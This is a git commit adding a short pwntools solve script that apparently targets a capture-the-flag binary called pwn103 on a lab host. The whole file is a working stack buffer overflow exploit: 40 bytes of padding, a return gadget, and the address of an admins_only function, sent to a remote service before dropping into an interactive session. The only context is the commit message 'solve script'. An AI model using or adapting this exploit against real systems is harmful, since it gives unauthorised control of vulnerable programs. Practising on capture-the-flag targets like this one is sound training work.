solve script

This commit is contained in:
jc
2024-10-28 00:31:42 +03:00
parent 815575f8a8
commit a4e1a18d3f
+19
View File
@@ -0,0 +1,19 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./pwn103", checksec=False)
# r = process()
r = remote("10.10.167.194", 9003)
# funcs
s = lambda a: r.sendlineafter(b": ", a)
# buf
s(b"3")
buf = b"A"*40
buf += p64(0x401553)
buf += p64(target.sym.admins_only)
s(buf)
r.interactive()